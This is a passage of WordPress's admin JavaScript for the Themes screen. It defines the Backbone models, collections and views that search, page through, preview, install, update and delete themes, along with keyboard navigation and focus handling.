 * @output wp-admin/js/theme.js
 */

/* global _wpThemeSettings, confirm, tb_position */
window.wp = window.wp || {};

( function($) {

// Set up our namespace...
var themes, l10n;
themes = wp.themes = wp.themes || {};

// Store the theme data and settings for organized and quick access.
// themes.data.settings, themes.data.themes, themes.data.l10n.
themes.data = _wpThemeSettings;
l10n = themes.data.l10n;

// Shortcut for isInstall check.
themes.isInstall = !! themes.data.settings.isInstall;

// Setup app structure.
_.extend( themes, { model: {}, view: {}, routes: {}, router: {}, template: wp.template });

themes.Model = Backbone.Model.extend({
	// Adds attributes to the default data coming through the .org themes api.
	// Map `id` to `slug` for shared code.
	initialize: function() {
		var description;

		if ( this.get( 'slug' ) ) {
			// If the theme is already installed, set an attribute.
			if ( _.indexOf( themes.data.installedThemes, this.get( 'slug' ) ) !== -1 ) {
				this.set({ installed: true });
			}

			// If the theme is active, set an attribute.
			if ( themes.data.activeTheme === this.get( 'slug' ) ) {
				this.set({ active: true });
			}
		}

		// Set the attributes.
		this.set({
			// `slug` is for installation, `id` is for existing.
			id: this.get( 'slug' ) || this.get( 'id' )
		});

		// Map `section.description` to `description`
		// as the API sometimes returns it differently.
		if ( this.has( 'sections' ) ) {
			description = this.get( 'sections' ).description;
			this.set({ description: description });
		}
	}
});

// Main view controller for themes.php.
// Unifies and renders all available views.
themes.view.Appearance = wp.Backbone.View.extend({

	el: '#wpbody-content .wrap .theme-browser',

	window: $( window ),
	// Pagination instance.
	page: 0,

	// Sets up a throttler for binding to 'scroll'.
	initialize: function( options ) {
		// Scroller checks how far the scroll position is.
		_.bindAll( this, 'scroller' );

		this.SearchView = options.SearchView ? options.SearchView : themes.view.Search;
		// Bind to the scroll event and throttle
		// the results from this.scroller.
		this.window.on( 'scroll', _.throttle( this.scroller, 300 ) );
	},

	// Main render control.
	render: function() {
		// Setup the main theme view
		// with the current theme collection.
		this.view = new themes.view.Themes({
			collection: this.collection,
			parent: this
		});

		// Render search form.
		this.search();

		this.$el.removeClass( 'search-loading' );

		// Render and append.
		this.view.render();
		this.$el.empty().append( this.view.el ).addClass( 'rendered' );
	},

	// Defines search element container.
	searchContainer: $( '.search-form' ),

	// Search input and view
	// for current theme collection.
	search: function() {
		var view,
			self = this;

		// Don't render the search if there is only one theme.
		if ( themes.data.themes.length === 1 ) {
			return;
		}

		view = new this.SearchView({
			collection: self.collection,
			parent: this
		});
		self.SearchView = view;

		// Render and append after screen title.
		view.render();
		this.searchContainer
			.append( $.parseHTML( '<label class="screen-reader-text" for="wp-filter-search-input">' + l10n.search + '</label>' ) )
			.append( view.el )
			.on( 'submit', function( event ) {
				event.preventDefault();
			});
	},

	// Checks when the user gets close to the bottom
	// of the mage and triggers a theme:scroll event.
	scroller: function() {
		var self = this,
			bottom, threshold;

		bottom = this.window.scrollTop() + self.window.height();
		threshold = self.$el.offset().top + self.$el.outerHeight( false ) - self.window.height();
		threshold = Math.round( threshold * 0.9 );

		if ( bottom > threshold ) {
			this.trigger( 'theme:scroll' );
		}
	}
});

// Set up the Collection for our theme data.
// @has 'id' 'name' 'screenshot' 'author' 'authorURI' 'version' 'active' ...
themes.Collection = Backbone.Collection.extend({

	model: themes.Model,

	// Search terms.
	terms: '',

	// Controls searching on the current theme collection
	// and triggers an update event.
	doSearch: function( value ) {

		// Don't do anything if we've already done this search.
		// Useful because the Search handler fires multiple times per keystroke.
		if ( this.terms === value ) {
			return;
		}

		// Updates terms with the value passed.
		this.terms = value;

		// If we have terms, run a search...
		if ( this.terms.length > 0 ) {
			this.search( this.terms );
		}

		// If search is blank, show all themes.
		// Useful for resetting the views when you clean the input.
		if ( this.terms === '' ) {
			this.reset( themes.data.themes );
			$( 'body' ).removeClass( 'no-results' );
		}

		// Trigger a 'themes:update' event.
		this.trigger( 'themes:update' );
	},

	/**
	 * Performs a search within the collection.
	 *
	 * @uses RegExp
	 */
	search: function( term ) {
		var match, results, haystack, name, description, author;

		// Start with a full collection.
		this.reset( themes.data.themes, { silent: true } );

		// Trim the term.
		term = term.trim();

		// Escape the term string for RegExp meta characters.
		term = term.replace( /[-\/\\^$*+?.()|[\]{}]/g, '\\$&' );

		// Consider spaces as word delimiters and match the whole string
		// so matching terms can be combined.
		term = term.replace( / /g, ')(?=.*' );
		match = new RegExp( '^(?=.*' + term + ').+', 'i' );

		// Find results.
		// _.filter() and .test().
		results = this.filter( function( data ) {
			name        = data.get( 'name' ).replace( /(<([^>]+)>)/ig, '' );
			description = data.get( 'description' ).replace( /(<([^>]+)>)/ig, '' );
			author      = data.get( 'author' ).replace( /(<([^>]+)>)/ig, '' );

			haystack = _.union( [ name, data.get( 'id' ), description, author, data.get( 'tags' ) ] );

			if ( match.test( data.get( 'author' ) ) && term.length > 2 ) {
				data.set( 'displayAuthor', true );
			}

			return match.test( haystack );
		});

		if ( results.length === 0 ) {
			this.trigger( 'query:empty' );
		} else {
			$( 'body' ).removeClass( 'no-results' );
		}

		this.reset( results );
	},

	// Paginates the collection with a helper method
	// that slices the collection.
	paginate: function( instance ) {
		var collection = this;
		instance = instance || 0;

		// Themes per instance are set at 20.
		collection = _( collection.rest( 20 * instance ) );
		collection = _( collection.first( 20 ) );

		return collection;
	},

	count: false,

	/*
	 * Handles requests for more themes and caches results.
	 *
	 *
	 * When we are missing a cache object we fire an apiCall()
	 * which triggers events of `query:success` or `query:fail`.
	 */
	query: function( request ) {
		/**
		 * @static
		 * @type Array
		 */
		var queries = this.queries,
			self = this,
			query, isPaginated, count;

		// Store current query request args
		// for later use with the event `theme:end`.
		this.currentQuery.request = request;

		// Search the query cache for matches.
		query = _.find( queries, function( query ) {
			return _.isEqual( query.request, request );
		});

		// If the request matches the stored currentQuery.request
		// it means we have a paginated request.
		isPaginated = _.has( request, 'page' );

		// Reset the internal api page counter for non-paginated queries.
		if ( ! isPaginated ) {
			this.currentQuery.page = 1;
		}

		// Otherwise, send a new API call and add it to the cache.
		if ( ! query && ! isPaginated ) {
			query = this.apiCall( request ).done( function( data ) {

				// Update the collection with the queried data.
				if ( data.themes ) {
					self.reset( data.themes );
					count = data.info.results;
					// Store the results and the query request.
					queries.push( { themes: data.themes, request: request, total: count } );
				}

				// Trigger a collection refresh event
				// and a `query:success` event with a `count` argument.
				self.trigger( 'themes:update' );
				self.trigger( 'query:success', count );

				if ( data.themes && data.themes.length === 0 ) {
					self.trigger( 'query:empty' );
				}

			}).fail( function() {
				self.trigger( 'query:fail' );
			});
		} else {
			// If it's a paginated request we need to fetch more themes...
			if ( isPaginated ) {
				return this.apiCall( request, isPaginated ).done( function( data ) {
					// Add the new themes to the current collection.
					// @todo Update counter.
					self.add( data.themes );
					self.trigger( 'query:success' );

					// We are done loading themes for now.
					self.loadingThemes = false;

				}).fail( function() {
					self.trigger( 'query:fail' );
				});
			}

			if ( query.themes.length === 0 ) {
				self.trigger( 'query:empty' );
			} else {
				$( 'body' ).removeClass( 'no-results' );
			}

			// Only trigger an update event since we already have the themes
			// on our cached object.
			if ( _.isNumber( query.total ) ) {
				this.count = query.total;
			}

			this.reset( query.themes );
			if ( ! query.total ) {
				this.count = this.length;
			}

			this.trigger( 'themes:update' );
			this.trigger( 'query:success', this.count );
		}
	},

	// Local cache array for API queries.
	queries: [],

	// Keep track of current query so we can handle pagination.
	currentQuery: {
		page: 1,
		request: {}
	},

	// Send request to api.wordpress.org/themes.
	apiCall: function( request, paginated ) {
		return wp.ajax.send( 'query-themes', {
			data: {
				// Request data.
				request: _.extend({
					per_page: 100
				}, request)
			},

			beforeSend: function() {
				if ( ! paginated ) {
					// Spin it.
					$( 'body' ).addClass( 'loading-content' ).removeClass( 'no-results' );
				}
			}
		});
	},

	// Static status controller for when we are loading themes.
	loadingThemes: false
});

// This is the view that controls each theme item
// that will be displayed on the screen.
themes.view.Theme = wp.Backbone.View.extend({

	// Wrap theme data on a div.theme element.
	className: 'theme',

	// Reflects which theme view we have.
	// 'grid' (default) or 'detail'.
	state: 'grid',

	// The HTML template for each element to be rendered.
	html: themes.template( 'theme' ),

	events: {
		'click': themes.isInstall ? 'preview': 'expand',
		'keydown': themes.isInstall ? 'preview': 'expand',
		'touchend': themes.isInstall ? 'preview': 'expand',
		'keyup': 'addFocus',
		'touchmove': 'preventExpand',
		'click .theme-install': 'installTheme',
		'click .update-message': 'updateTheme'
	},

	touchDrag: false,

	initialize: function() {
		this.model.on( 'change', this.render, this );
	},

	render: function() {
		var data = this.model.toJSON();

		// Render themes using the html template.
		this.$el.html( this.html( data ) ).attr( 'data-slug', data.id );

		// Renders active theme styles.
		this.activeTheme();

		if ( this.model.get( 'displayAuthor' ) ) {
			this.$el.addClass( 'display-author' );
		}
	},

	// Adds a class to the currently active theme
	// and to the overlay in detailed view mode.
	activeTheme: function() {
		if ( this.model.get( 'active' ) ) {
			this.$el.addClass( 'active' );
		}
	},

	// Add class of focus to the theme we are focused on.
	addFocus: function() {
		var $themeToFocus = ( $( ':focus' ).hasClass( 'theme' ) ) ? $( ':focus' ) : $(':focus').parents('.theme');

		$('.theme.focus').removeClass('focus');
		$themeToFocus.addClass('focus');
	},

	// Single theme overlay screen.
	// It's shown when clicking a theme.
	expand: function( event ) {
		var self = this;

		event = event || window.event;

		// 'Enter' and 'Space' keys expand the details view when a theme is :focused.
		if ( event.type === 'keydown' && ( event.which !== 13 && event.which !== 32 ) ) {
			return;
		}

		// Bail if the user scrolled on a touch device.
		if ( this.touchDrag === true ) {
			return this.touchDrag = false;
		}

		// Prevent the modal from showing when the user clicks
		// one of the direct action buttons.
		if ( $( event.target ).is( '.theme-actions a' ) ) {
			return;
		}

		// Prevent the modal from showing when the user clicks one of the direct action buttons.
		if ( $( event.target ).is( '.theme-actions a, .update-message, .button-link, .notice-dismiss' ) ) {
			return;
		}

		// Set focused theme to current element.
		themes.focusedTheme = this.$el;

		this.trigger( 'theme:expand', self.model.cid );
	},

	preventExpand: function() {
		this.touchDrag = true;
	},

	preview: function( event ) {
		var self = this,
			current, preview;

		event = event || window.event;

		// Bail if the user scrolled on a touch device.
		if ( this.touchDrag === true ) {
			return this.touchDrag = false;
		}

		// Allow direct link path to installing a theme.
		if ( $( event.target ).not( '.install-theme-preview' ).parents( '.theme-actions' ).length ) {
			return;
		}

		// 'Enter' and 'Space' keys expand the details view when a theme is :focused.
		if ( event.type === 'keydown' && ( event.which !== 13 && event.which !== 32 ) ) {
			return;
		}

		// Pressing Enter while focused on the buttons shouldn't open the preview.
		if ( event.type === 'keydown' && event.which !== 13 && $( ':focus' ).hasClass( 'button' ) ) {
			return;
		}

		event.preventDefault();

		event = event || window.event;

		// Set focus to current theme.
		themes.focusedTheme = this.$el;

		// Construct a new Preview view.
		themes.preview = preview = new themes.view.Preview({
			model: this.model
		});

		// Render the view and append it.
		preview.render();
		this.setNavButtonsState();

		// Hide previous/next navigation if there is only one theme.
		if ( this.model.collection.length === 1 ) {
			preview.$el.addClass( 'no-navigation' );
		} else {
			preview.$el.removeClass( 'no-navigation' );
		}

		// Append preview.
		$( 'div.wrap' ).append( preview.el );

		// Listen to our preview object
		// for `theme:next` and `theme:previous` events.
		this.listenTo( preview, 'theme:next', function() {

			// Keep local track of current theme model.
			current = self.model;

			// If we have ventured away from current model update the current model position.
			if ( ! _.isUndefined( self.current ) ) {
				current = self.current;
			}

			// Get next theme model.
			self.current = self.model.collection.at( self.model.collection.indexOf( current ) + 1 );

			// If we have no more themes, bail.
			if ( _.isUndefined( self.current ) ) {
				self.options.parent.parent.trigger( 'theme:end' );
				return self.current = current;
			}

			preview.model = self.current;

			// Render and append.
			preview.render();
			this.setNavButtonsState();
			$( '.next-theme' ).trigger( 'focus' );
		})
		.listenTo( preview, 'theme:previous', function() {

			// Keep track of current theme model.
			current = self.model;

			// Bail early if we are at the beginning of the collection.
			if ( self.model.collection.indexOf( self.current ) === 0 ) {
				return;
			}

			// If we have ventured away from current model update the current model position.
			if ( ! _.isUndefined( self.current ) ) {
				current = self.current;
			}

			// Get previous theme model.
			self.current = self.model.collection.at( self.model.collection.indexOf( current ) - 1 );

			// If we have no more themes, bail.
			if ( _.isUndefined( self.current ) ) {
				return;
			}

			preview.model = self.current;

			// Render and append.
			preview.render();
			this.setNavButtonsState();
			$( '.previous-theme' ).trigger( 'focus' );
		});

		this.listenTo( preview, 'preview:close', function() {
			self.current = self.model;
		});

	},

	// Handles .disabled classes for previous/next buttons in theme installer preview.
	setNavButtonsState: function() {
		var $themeInstaller = $( '.theme-install-overlay' ),
			current = _.isUndefined( this.current ) ? this.model : this.current,
			previousThemeButton = $themeInstaller.find( '.previous-theme' ),
			nextThemeButton = $themeInstaller.find( '.next-theme' );

		// Disable previous at the zero position.
		if ( 0 === this.model.collection.indexOf( current ) ) {
			previousThemeButton
				.addClass( 'disabled' )
				.prop( 'disabled', true );

			nextThemeButton.trigger( 'focus' );
		}

		// Disable next if the next model is undefined.
		if ( _.isUndefined( this.model.collection.at( this.model.collection.indexOf( current ) + 1 ) ) ) {
			nextThemeButton
				.addClass( 'disabled' )
				.prop( 'disabled', true );

			previousThemeButton.trigger( 'focus' );
		}
	},

	installTheme: function( event ) {
		var _this = this;

		event.preventDefault();

		wp.updates.maybeRequestFilesystemCredentials( event );

		$( document ).on( 'wp-theme-install-success', function( event, response ) {
			if ( _this.model.get( 'id' ) === response.slug ) {
				_this.model.set( { 'installed': true } );
			}
			if ( response.blockTheme ) {
				_this.model.set( { 'block_theme': true } );
			}
		} );

		wp.updates.installTheme( {
			slug: $( event.target ).data( 'slug' )
		} );
	},

	updateTheme: function( event ) {
		var _this = this;

		if ( ! this.model.get( 'hasPackage' ) ) {
			return;
		}

		event.preventDefault();

		wp.updates.maybeRequestFilesystemCredentials( event );

		$( document ).on( 'wp-theme-update-success', function( event, response ) {
			_this.model.off( 'change', _this.render, _this );
			if ( _this.model.get( 'id' ) === response.slug ) {
				_this.model.set( {
					hasUpdate: false,
					version: response.newVersion
				} );
			}
			_this.model.on( 'change', _this.render, _this );
		} );

		wp.updates.updateTheme( {
			slug: $( event.target ).parents( 'div.theme' ).first().data( 'slug' )
		} );
	}
});

// Theme Details view.
// Sets up a modal overlay with the expanded theme data.
themes.view.Details = wp.Backbone.View.extend({

	// Wrap theme data on a div.theme element.
	className: 'theme-overlay',

	events: {
		'click': 'collapse',
		'click .delete-theme': 'deleteTheme',
		'click .left': 'previousTheme',
		'click .right': 'nextTheme',
		'click #update-theme': 'updateTheme',
		'click .toggle-auto-update': 'autoupdateState'
	},

	// The HTML template for the theme overlay.
	html: themes.template( 'theme-single' ),

	render: function() {
		var data = this.model.toJSON();
		this.$el.html( this.html( data ) );
		// Renders active theme styles.
		this.activeTheme();
		// Set up navigation events.
		this.navigation();
		// Checks screenshot size.
		this.screenshotCheck( this.$el );
		// Contain "tabbing" inside the overlay.
		this.containFocus( this.$el );
	},

	// Adds a class to the currently active theme
	// and to the overlay in detailed view mode.
	activeTheme: function() {
		// Check the model has the active property.
		this.$el.toggleClass( 'active', this.model.get( 'active' ) );
	},

	// Set initial focus and constrain tabbing within the theme browser modal.
	containFocus: function( $el ) {

		// Set initial focus on the primary action control.
		_.delay( function() {
			$( '.theme-overlay' ).trigger( 'focus' );
		}, 100 );

		// Constrain tabbing within the modal.
		$el.on( 'keydown.wp-themes', function( event ) {
			var $firstFocusable = $el.find( '.theme-header button:not(.disabled)' ).first(),
				$lastFocusable = $el.find( '.theme-actions a:visible' ).last();

			// Check for the Tab key.
			if ( 9 === event.which ) {
				if ( $firstFocusable[0] === event.target && event.shiftKey ) {
					$lastFocusable.trigger( 'focus' );
					event.preventDefault();
				} else if ( $lastFocusable[0] === event.target && ! event.shiftKey ) {
					$firstFocusable.trigger( 'focus' );
					event.preventDefault();
				}
			}
		});
	},

	// Single theme overlay screen.
	// It's shown when clicking a theme.
	collapse: function( event ) {
		var self = this,
			scroll;

		event = event || window.event;

		// Prevent collapsing detailed view when there is only one theme available.
		if ( themes.data.themes.length === 1 ) {
			return;
		}

		// Detect if the click is inside the overlay and don't close it
		// unless the target was the div.back button.
		if ( $( event.target ).is( '.theme-backdrop' ) || $( event.target ).is( '.close' ) || event.keyCode === 27 ) {

			// Add a temporary closing class while overlay fades out.
			$( 'body' ).addClass( 'closing-overlay' );

			// With a quick fade out animation.
			this.$el.fadeOut( 130, function() {
				// Clicking outside the modal box closes the overlay.
				$( 'body' ).removeClass( 'closing-overlay' );
				// Handle event cleanup.
				self.closeOverlay();

				// Get scroll position to avoid jumping to the top.
				scroll = document.body.scrollTop;

				// Clean the URL structure.
				themes.router.navigate( themes.router.baseUrl( '' ) );

				// Restore scroll position.
				document.body.scrollTop = scroll;

				// Return focus to the theme div.
				if ( themes.focusedTheme ) {
					themes.focusedTheme.find('.more-details').trigger( 'focus' );
				}
			});
		}
	},

	// Handles .disabled classes for next/previous buttons.
	navigation: function() {

		// Disable Left/Right when at the start or end of the collection.
		if ( this.model.cid === this.model.collection.at(0).cid ) {
			this.$el.find( '.left' )
				.addClass( 'disabled' )
				.prop( 'disabled', true );
		}
		if ( this.model.cid === this.model.collection.at( this.model.collection.length - 1 ).cid ) {
			this.$el.find( '.right' )
				.addClass( 'disabled' )
				.prop( 'disabled', true );
		}
	},

	// Performs the actions to effectively close
	// the theme details overlay.
	closeOverlay: function() {
		$( 'body' ).removeClass( 'modal-open' );
		this.remove();
		this.unbind();
		this.trigger( 'theme:collapse' );
	},

	// Set state of the auto-update settings link after it has been changed and saved.
	autoupdateState: function() {
		var callback,
			_this = this;

		// Support concurrent clicks in different Theme Details overlays.
		callback = function( event, data ) {
			var autoupdate;
			if ( _this.model.get( 'id' ) === data.asset ) {
				autoupdate = _this.model.get( 'autoupdate' );
				autoupdate.enabled = 'enable' === data.state;
				_this.model.set( { autoupdate: autoupdate } );
				$( document ).off( 'wp-auto-update-setting-changed', callback );
			}
		};

		// Triggered in updates.js
		$( document ).on( 'wp-auto-update-setting-changed', callback );
	},

	updateTheme: function( event ) {
		var _this = this;
		event.preventDefault();

		wp.updates.maybeRequestFilesystemCredentials( event );

		$( document ).on( 'wp-theme-update-success', function( event, response ) {
			if ( _this.model.get( 'id' ) === response.slug ) {
				_this.model.set( {
					hasUpdate: false,
					version: response.newVersion
				} );
			}
			_this.render();
		} );

		wp.updates.updateTheme( {
			slug: $( event.target ).data( 'slug' )
		} );
	},

	deleteTheme: function( event ) {
		var _this = this,
		    _collection = _this.model.collection,
		    _themes = themes;
		event.preventDefault();

		// Confirmation dialog for deleting a theme.
		if ( ! window.confirm( wp.themes.data.settings.confirmDelete ) ) {
			return;
		}

		wp.updates.maybeRequestFilesystemCredentials( event );

		$( document ).one( 'wp-theme-delete-success', function( event, response ) {
			_this.$el.find( '.close' ).trigger( 'click' );
			$( '[data-slug="' + response.slug + '"]' ).css( { backgroundColor:'#faafaa' } ).fadeOut( 350, function() {
				$( this ).remove();
				_themes.data.themes = _.without( _themes.data.themes, _.findWhere( _themes.data.themes, { id: response.slug } ) );

				$( '.wp-filter-search' ).val( '' );
				_collection.doSearch( '' );
				_collection.remove( _this.model );
				_collection.trigger( 'themes:update' );
			} );
		} );

		wp.updates.deleteTheme( {
			slug: this.model.get( 'id' )
		} );
	},

	nextTheme: function() {
		var self = this;
		self.trigger( 'theme:next', self.model.cid );
		return false;
	},

	previousTheme: function() {
		var self = this;
		self.trigger( 'theme:previous', self.model.cid );
		return false;
	},

	// Checks if the theme screenshot is the old 300px width version
	// and adds a corresponding class if it's true.
	screenshotCheck: function( el ) {
		var screenshot, image;

		screenshot = el.find( '.screenshot img' );
		image = new Image();
		image.src = screenshot.attr( 'src' );

		// Width check.
		if ( image.width && image.width <= 300 ) {
			el.addClass( 'small-screenshot' );
		}
	}
});

// Theme Preview view.
// Sets up a modal overlay with the expanded theme data.
themes.view.Preview = themes.view.Details.extend({

	className: 'wp-full-overlay expanded',
	el: '.theme-install-overlay',

	events: {
		'click .close-full-overlay': 'close',
		'click .collapse-sidebar': 'collapse',
		'click .devices button': 'previewDevice',
		'click .previous-theme': 'previousTheme',
		'click .next-theme': 'nextTheme',
		'keyup': 'keyEvent',
		'click .theme-install': 'installTheme'
	},

	// The HTML template for the theme preview.
	html: themes.template( 'theme-preview' ),

	render: function() {
		var self = this,
			currentPreviewDevice,
			data = this.model.toJSON(),
			$body = $( document.body );

		$body.attr( 'aria-busy', 'true' );

		this.$el.removeClass( 'iframe-ready' ).html( this.html( data ) );

		currentPreviewDevice = this.$el.data( 'current-preview-device' );
		if ( currentPreviewDevice ) {
			self.tooglePreviewDeviceButtons( currentPreviewDevice );
		}

		themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.get( 'id' ) ), { replace: false } );

		this.$el.fadeIn( 200, function() {
			$body.addClass( 'theme-installer-active full-overlay-active' );
		});

		this.$el.find( 'iframe' ).one( 'load', function() {
			self.iframeLoaded();
		});
	},

	iframeLoaded: function() {
		this.$el.addClass( 'iframe-ready' );
		$( document.body ).attr( 'aria-busy', 'false' );
	},

	close: function() {
		this.$el.fadeOut( 200, function() {
			$( 'body' ).removeClass( 'theme-installer-active full-overlay-active' );

			// Return focus to the theme div.
			if ( themes.focusedTheme ) {
				themes.focusedTheme.find('.more-details').trigger( 'focus' );
			}
		}).removeClass( 'iframe-ready' );

		// Restore the previous browse tab if available.
		if ( themes.router.selectedTab ) {
			themes.router.navigate( themes.router.baseUrl( '?browse=' + themes.router.selectedTab ) );
			themes.router.selectedTab = false;
		} else {
			themes.router.navigate( themes.router.baseUrl( '' ) );
		}
		this.trigger( 'preview:close' );
		this.undelegateEvents();
		this.unbind();
		return false;
	},

	collapse: function( event ) {
		var $button = $( event.currentTarget );
		if ( 'true' === $button.attr( 'aria-expanded' ) ) {
			$button.attr({ 'aria-expanded': 'false', 'aria-label': l10n.expandSidebar });
		} else {
			$button.attr({ 'aria-expanded': 'true', 'aria-label': l10n.collapseSidebar });
		}

		this.$el.toggleClass( 'collapsed' ).toggleClass( 'expanded' );
		return false;
	},

	previewDevice: function( event ) {
		var device = $( event.currentTarget ).data( 'device' );

		this.$el
			.removeClass( 'preview-desktop preview-tablet preview-mobile' )
			.addClass( 'preview-' + device )
			.data( 'current-preview-device', device );

		this.tooglePreviewDeviceButtons( device );
	},

	tooglePreviewDeviceButtons: function( newDevice ) {
		var $devices = $( '.wp-full-overlay-footer .devices' );

		$devices.find( 'button' )
			.removeClass( 'active' )
			.attr( 'aria-pressed', false );

		$devices.find( 'button.preview-' + newDevice )
			.addClass( 'active' )
			.attr( 'aria-pressed', true );
	},

	keyEvent: function( event ) {
		// The escape key closes the preview.
		if ( event.keyCode === 27 ) {
			this.undelegateEvents();
			this.close();
		}
		// The right arrow key, next theme.
		if ( event.keyCode === 39 ) {
			_.once( this.nextTheme() );
		}

		// The left arrow key, previous theme.
		if ( event.keyCode === 37 ) {
			this.previousTheme();
		}
	},

	installTheme: function( event ) {
		var _this   = this,
		    $target = $( event.target );
		event.preventDefault();

		if ( $target.hasClass( 'disabled' ) ) {
			return;
		}

		wp.updates.maybeRequestFilesystemCredentials( event );

		$( document ).on( 'wp-theme-install-success', function() {
			_this.model.set( { 'installed': true } );
		} );

		wp.updates.installTheme( {
			slug: $target.data( 'slug' )
		} );
	}
});

// Controls the rendering of div.themes,
// a wrapper that will hold all the theme elements.
themes.view.Themes = wp.Backbone.View.extend({

	className: 'themes wp-clearfix',
	$overlay: $( 'div.theme-overlay' ),

	// Number to keep track of scroll position
	// while in theme-overlay mode.
	index: 0,

	// The theme count element.
	count: $( '.wrap .theme-count' ),

	// The live themes count.
	liveThemeCount: 0,

	initialize: function( options ) {
		var self = this;

		// Set up parent.
		this.parent = options.parent;

		// Set current view to [grid].
		this.setView( 'grid' );

		// Move the active theme to the beginning of the collection.
		self.currentTheme();

		// When the collection is updated by user input...
		this.listenTo( self.collection, 'themes:update', function() {
			self.parent.page = 0;
			self.currentTheme();
			self.render( this );
		} );

		// Update theme count to full result set when available.
		this.listenTo( self.collection, 'query:success', function( count ) {
			if ( _.isNumber( count ) ) {
				self.count.text( count );
				self.announceSearchResults( count );
			} else {
				self.count.text( self.collection.length );
				self.announceSearchResults( self.collection.length );
			}
		});

		this.listenTo( self.collection, 'query:empty', function() {
			$( 'body' ).addClass( 'no-results' );
		});

		this.listenTo( this.parent, 'theme:scroll', function() {
			self.renderThemes( self.parent.page );
		});

		this.listenTo( this.parent, 'theme:close', function() {
			if ( self.overlay ) {
				self.overlay.closeOverlay();
			}
		} );

		// Bind keyboard events.
		$( 'body' ).on( 'keyup', function( event ) {
			if ( ! self.overlay ) {
				return;
			}

			// Bail if the filesystem credentials dialog is shown.
			if ( $( '#request-filesystem-credentials-dialog' ).is( ':visible' ) ) {
				return;
			}

			// Pressing the right arrow key fires a theme:next event.
			if ( event.keyCode === 39 ) {
				self.overlay.nextTheme();
			}

			// Pressing the left arrow key fires a theme:previous event.
			if ( event.keyCode === 37 ) {
				self.overlay.previousTheme();
			}

			// Pressing the escape key fires a theme:collapse event.
			if ( event.keyCode === 27 ) {
				self.overlay.collapse( event );
			}
		});
	},

	// Manages rendering of theme pages
	// and keeping theme count in sync.
	render: function() {
		// Clear the DOM, please.
		this.$el.empty();

		// If the user doesn't have switch capabilities or there is only one theme
		// in the collection, render the detailed view of the active theme.
		if ( themes.data.themes.length === 1 ) {

			// Constructs the view.
			this.singleTheme = new themes.view.Details({
				model: this.collection.models[0]
			});

			// Render and apply a 'single-theme' class to our container.
			this.singleTheme.render();
			this.$el.addClass( 'single-theme' );
			this.$el.append( this.singleTheme.el );
		}

		// Generate the themes using page instance
		// while checking the collection has items.
		if ( this.options.collection.size() > 0 ) {
			this.renderThemes( this.parent.page );
		}

		// Display a live theme count for the collection.
		this.liveThemeCount = this.collection.count ? this.collection.count : this.collection.length;
		this.count.text( this.liveThemeCount );

		/*
		 * In the theme installer the themes count is already announced
		 * because `announceSearchResults` is called on `query:success`.
		 */
		if ( ! themes.isInstall ) {
			this.announceSearchResults( this.liveThemeCount );
		}
	},

	// Iterates through each instance of the collection
	// and renders each theme module.
	renderThemes: function( page ) {
		var self = this;

		self.instance = self.collection.paginate( page );

		// If we have no more themes, bail.
		if ( self.instance.size() === 0 ) {
			// Fire a no-more-themes event.
			this.parent.trigger( 'theme:end' );
			return;
		}

		// Make sure the add-new stays at the end.
		if ( ! themes.isInstall && page >= 1 ) {
			$( '.add-new-theme' ).remove();
		}

		// Loop through the themes and setup each theme view.
		self.instance.each( function( theme ) {
			self.theme = new themes.view.Theme({
				model: theme,
				parent: self
			});

			// Render the views...
			self.theme.render();
			// ...and append them to div.themes.
			self.$el.append( self.theme.el );

			// Binds to theme:expand to show the modal box
			// with the theme details.
			self.listenTo( self.theme, 'theme:expand', self.expand, self );
		});

		// 'Add new theme' element shown at the end of the grid.
		if ( ! themes.isInstall && themes.data.settings.canInstall ) {
			this.$el.append( '<div class="theme add-new-theme"><a href="' + themes.data.settings.installURI + '"><div class="theme-screenshot"><span></span></div><h2 class="theme-name">' + l10n.addNew + '</h2></a></div>' );
		}

		this.parent.page++;
	},

	// Grabs current theme and puts it at the beginning of the collection.
	currentTheme: function() {
		var self = this,
			current;

		current = self.collection.findWhere({ active: true });

		// Move the active theme to the beginning of the collection.
		if ( current ) {
			self.collection.remove( current );
			self.collection.add( current, { at:0 } );
		}
	},

	// Sets current view.
	setView: function( view ) {
		return view;
	},

	// Renders the overlay with the ThemeDetails view.
	// Uses the current model data.
	expand: function( id ) {
		var self = this, $card, $modal;

		// Set the current theme model.
		this.model = self.collection.get( id );

		// Trigger a route update for the current model.
		themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.id ) );

		// Sets this.view to 'detail'.
		this.setView( 'detail' );
		$( 'body' ).addClass( 'modal-open' );

		// Set up the theme details view.
		this.overlay = new themes.view.Details({
			model: self.model
		});

		this.overlay.render();

		if ( this.model.get( 'hasUpdate' ) ) {
			$card  = $( '[data-slug="' + this.model.id + '"]' );
			$modal = $( this.overlay.el );

			if ( $card.find( '.updating-message' ).length ) {
				$modal.find( '.notice-warning h3' ).remove();
				$modal.find( '.notice-warning' )
					.removeClass( 'notice-large' )
					.addClass( 'updating-message' )
					.find( 'p' ).text( wp.updates.l10n.updating );
			} else if ( $card.find( '.notice-error' ).length ) {
				$modal.find( '.notice-warning' ).remove();
			}
		}

		this.$overlay.html( this.overlay.el );

		// Bind to theme:next and theme:previous triggered by the arrow keys.
		// Keep track of the current model so we can infer an index position.
		this.listenTo( this.overlay, 'theme:next', function() {
			// Renders the next theme on the overlay.
			self.next( [ self.model.cid ] );

		})
		.listenTo( this.overlay, 'theme:previous', function() {
			// Renders the previous theme on the overlay.
			self.previous( [ self.model.cid ] );
		});
	},

	/*
	 * This method renders the next theme on the overlay modal
	 * based on the current position in the collection.
	 *
	 * @params [model cid]
	 */
	next: function( args ) {
		var self = this,
			model, nextModel;

		// Get the current theme.
		model = self.collection.get( args[0] );
		// Find the next model within the collection.
		nextModel = self.collection.at( self.collection.indexOf( model ) + 1 );

		// Confidence check which also serves as a boundary test.
		if ( nextModel !== undefined ) {

			// We have a new theme...
			// Close the overlay.
			this.overlay.closeOverlay();

			// Trigger a route update for the current model.
			self.theme.trigger( 'theme:expand', nextModel.cid );

		}
	},

	/*
	 * This method renders the previous theme on the overlay modal
	 * based on the current position in the collection.
	 *
	 * @params [model cid]
	 */
	previous: function( args ) {
		var self = this,
			model, previousModel;

		// Get the current theme.
		model = self.collection.get( args[0] );
		// Find the previous model within the collection.
		previousModel = self.collection.at( self.collection.indexOf( model ) - 1 );

		if ( previousModel !== undefined ) {

			// We have a new theme...
			// Close the overlay.
			this.overlay.closeOverlay();

			// Trigger a route update for the current model.
			self.theme.trigger( 'theme:expand', previousModel.cid );

		}
	},

	// Dispatch audible search results feedback message.
